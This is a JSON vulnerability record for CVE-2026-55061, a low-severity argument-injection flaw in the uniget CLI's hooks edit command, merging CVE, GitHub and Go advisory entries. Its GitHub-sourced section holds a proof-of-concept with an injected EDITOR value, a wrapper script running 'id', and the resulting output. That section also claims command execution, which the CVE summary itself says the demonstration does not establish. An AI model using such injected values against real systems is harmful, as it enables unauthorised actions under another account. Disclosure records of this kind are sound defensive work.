{"id":"CVE-2026-55061","aliases":["CVE-2026-55061","GHSA-qmcq-xw74-w667","GO-2026-6248"],"related":[],"kind":"vulnerability","state":"published","title":"uniget: EDITOR Command Injection in uniget CLI","summary":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, \" \") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, \" \") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n<img width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" />","format":"markdown","source":"ghsa"},{"lang":"en","text":"uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli","format":"markdown","source":"go"}],"published":"2026-08-17T17:46:05.000Z","modified":"2026-09-24T21:25:27.050Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":1,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":1,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"}],"cwes":["CWE-88"],"affected":[{"ranges":[{"version":"< 0.27.6","status":"affected"}],"vendor":"uniget-org","product":"cli","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.6"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.6"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"go"}],"references":[{"url":"https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-09-18T14:36:46.489Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55061","url":"https://www.cve.org/CVERecord?id=CVE-2026-55061","licence":"CVE Terms of Use","modified":"2026-09-18T14:44:09.945Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qmcq-xw74-w667","url":"https://github.com/advisories/GHSA-qmcq-xw74-w667","licence":"CC-BY-4.0","modified":"2026-08-18T14:56:04.214Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6248","url":"https://pkg.go.dev/vuln/GO-2026-6248","licence":"CC-BY-4.0","modified":"2026-08-18T14:45:03.342Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55061","licence":"Public domain","modified":"2026-09-24T21:25:27.050Z"}],"updatedAt":"2026-11-25T22:59:39.501Z","epss":{"score":0.00168,"percentile":0.06409,"date":"2026-12-01T12:00:22.000Z"}}